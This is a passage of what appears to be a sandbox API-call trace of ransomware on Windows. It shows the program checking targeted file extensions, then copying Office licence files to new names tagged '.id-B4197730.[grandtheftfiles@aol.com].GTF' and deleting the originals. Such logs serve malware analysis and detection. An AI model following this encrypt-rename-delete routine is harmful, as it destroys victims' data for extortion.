	[0183.226] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.226] lstrlenW (lpString=".jpg") returned 4
	[0183.226] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.227] lstrlenW (lpString=".doc") returned 4
	[0183.227] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.227] lstrlenW (lpString=".docx") returned 5
	[0183.227] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.227] lstrlenW (lpString=".pdf") returned 4
	[0183.227] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.227] lstrlenW (lpString=".xls") returned 4
	[0183.227] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.227] lstrlenW (lpString=".xlsx") returned 5
	[0183.227] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.227] lstrlenW (lpString=".ppt") returned 4
	[0183.227] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.227] lstrlenW (lpString=".zip") returned 4
	[0183.227] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.227] lstrlenW (lpString=".rar") returned 4
	[0183.227] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.227] lstrlenW (lpString=".bz2") returned 4
	[0183.227] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.227] lstrlenW (lpString=".7z") returned 3
	[0183.227] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.227] lstrlenW (lpString=".dbf") returned 4
	[0183.227] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.227] lstrlenW (lpString=".1cd") returned 4
	[0183.227] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Trial-ul-oob.xrm-ms") returned 78
	[0183.227] lstrlenW (lpString=".jpg") returned 4
	[0183.227] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.228] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.228] lstrlenW (lpString="OutlookR_Retail-pl.xrm-ms") returned 25
	[0183.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0183.228] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10635) returned 1
	[0183.228] CloseHandle (hObject=0x504) returned 1
	[0183.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms")) returned 0x220
	[0183.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0183.229] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.229] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.230] GetLastError () returned 0x0
	[0183.230] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x298b, lpOverlapped=0x0) returned 1
	[0183.232] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0183.233] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.233] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x106, lpOverlapped=0x0) returned 1
	[0183.233] SetEndOfFile (hFile=0x378) returned 1
	[0183.233] CloseHandle (hObject=0x378) returned 1
	[0183.233] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.233] SetEndOfFile (hFile=0x504) returned 1
	[0183.256] CloseHandle (hObject=0x504) returned 1
	[0183.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-pl.xrm-ms")) returned 1
	[0183.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.258] lstrlenW (lpString=".doc") returned 4
	[0183.258] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.258] lstrlenW (lpString=".docx") returned 5
	[0183.258] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.258] lstrlenW (lpString=".pdf") returned 4
	[0183.258] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.258] lstrlenW (lpString=".xls") returned 4
	[0183.258] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.258] lstrlenW (lpString=".xlsx") returned 5
	[0183.258] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.258] lstrlenW (lpString=".ppt") returned 4
	[0183.258] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.258] lstrlenW (lpString=".zip") returned 4
	[0183.258] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.258] lstrlenW (lpString=".rar") returned 4
	[0183.258] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString=".bz2") returned 4
	[0183.259] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString=".7z") returned 3
	[0183.259] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.259] lstrlenW (lpString=".dbf") returned 4
	[0183.259] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.259] lstrlenW (lpString=".1cd") returned 4
	[0183.259] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.259] lstrlenW (lpString=".jpg") returned 4
	[0183.259] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.259] lstrlenW (lpString=".doc") returned 4
	[0183.259] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString=".docx") returned 5
	[0183.259] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.259] lstrlenW (lpString=".pdf") returned 4
	[0183.259] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString=".xls") returned 4
	[0183.259] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString=".xlsx") returned 5
	[0183.259] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.259] lstrlenW (lpString=".ppt") returned 4
	[0183.259] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.259] lstrlenW (lpString=".zip") returned 4
	[0183.259] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString=".rar") returned 4
	[0183.259] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.259] lstrlenW (lpString=".bz2") returned 4
	[0183.260] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.260] lstrlenW (lpString=".7z") returned 3
	[0183.260] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.260] lstrlenW (lpString=".dbf") returned 4
	[0183.260] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.260] lstrlenW (lpString=".1cd") returned 4
	[0183.260] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-pl.xrm-ms") returned 75
	[0183.260] lstrlenW (lpString=".jpg") returned 4
	[0183.260] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.260] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.260] lstrlenW (lpString="OutlookR_Retail-ppd.xrm-ms") returned 26
	[0183.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0183.261] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=20779) returned 1
	[0183.261] CloseHandle (hObject=0x504) returned 1
	[0183.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms")) returned 0x220
	[0183.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0183.261] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.261] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0183.262] GetLastError () returned 0x0
	[0183.262] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x512b, lpOverlapped=0x0) returned 1
	[0183.266] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0183.267] ReadFile (in: hFile=0x504, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.268] WriteFile (in: hFile=0x378, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x108, lpOverlapped=0x0) returned 1
	[0183.268] SetEndOfFile (hFile=0x378) returned 1
	[0183.268] CloseHandle (hObject=0x378) returned 1
	[0183.268] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.268] SetEndOfFile (hFile=0x504) returned 1
	[0183.271] CloseHandle (hObject=0x504) returned 1
	[0183.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_retail-ppd.xrm-ms")) returned 1
	[0183.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.552] lstrlenW (lpString=".doc") returned 4
	[0183.552] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.552] lstrlenW (lpString=".docx") returned 5
	[0183.552] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.552] lstrlenW (lpString=".pdf") returned 4
	[0183.552] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.552] lstrlenW (lpString=".xls") returned 4
	[0183.552] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.552] lstrlenW (lpString=".xlsx") returned 5
	[0183.552] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.552] lstrlenW (lpString=".ppt") returned 4
	[0183.552] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.552] lstrlenW (lpString=".zip") returned 4
	[0183.552] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.552] lstrlenW (lpString=".rar") returned 4
	[0183.552] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.552] lstrlenW (lpString=".bz2") returned 4
	[0183.552] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.552] lstrlenW (lpString=".7z") returned 3
	[0183.552] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.552] lstrlenW (lpString=".dbf") returned 4
	[0183.552] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.552] lstrlenW (lpString=".1cd") returned 4
	[0183.552] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.552] lstrlenW (lpString=".jpg") returned 4
	[0183.552] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.553] lstrlenW (lpString=".doc") returned 4
	[0183.553] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.553] lstrlenW (lpString=".docx") returned 5
	[0183.553] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.553] lstrlenW (lpString=".pdf") returned 4
	[0183.553] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.553] lstrlenW (lpString=".xls") returned 4
	[0183.553] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.553] lstrlenW (lpString=".xlsx") returned 5
	[0183.553] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.553] lstrlenW (lpString=".ppt") returned 4
	[0183.553] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.553] lstrlenW (lpString=".zip") returned 4
	[0183.553] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.553] lstrlenW (lpString=".rar") returned 4
	[0183.553] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.553] lstrlenW (lpString=".bz2") returned 4
	[0183.553] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.553] lstrlenW (lpString=".7z") returned 3
	[0183.553] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.553] lstrlenW (lpString=".dbf") returned 4
	[0183.553] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.553] lstrlenW (lpString=".1cd") returned 4
	[0183.553] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Retail-ppd.xrm-ms") returned 76
	[0183.553] lstrlenW (lpString=".jpg") returned 4
	[0183.553] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.553] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0183.554] lstrlenW (lpString="OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 34
	[0183.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0183.922] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11619) returned 1
	[0183.922] CloseHandle (hObject=0x2a4) returned 1
	[0183.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0184.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0184.863] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.863] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0185.114] GetLastError () returned 0x0
	[0185.114] ReadFile (in: hFile=0x344, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 0
	[0185.116] CloseHandle (hObject=0x52c) returned 1
	[0185.116] CloseHandle (hObject=0x344) returned 1
	[0185.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.116] lstrlenW (lpString=".doc") returned 4
	[0185.116] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0185.116] lstrlenW (lpString=".docx") returned 5
	[0185.116] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0185.116] lstrlenW (lpString=".pdf") returned 4
	[0185.116] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString=".xls") returned 4
	[0185.117] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString=".xlsx") returned 5
	[0185.117] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0185.117] lstrlenW (lpString=".ppt") returned 4
	[0185.117] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.117] lstrlenW (lpString=".zip") returned 4
	[0185.117] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString=".rar") returned 4
	[0185.117] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString=".bz2") returned 4
	[0185.117] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString=".7z") returned 3
	[0185.117] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0185.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.117] lstrlenW (lpString=".dbf") returned 4
	[0185.117] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.117] lstrlenW (lpString=".1cd") returned 4
	[0185.117] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.117] lstrlenW (lpString=".jpg") returned 4
	[0185.117] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.117] lstrlenW (lpString=".doc") returned 4
	[0185.117] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString=".docx") returned 5
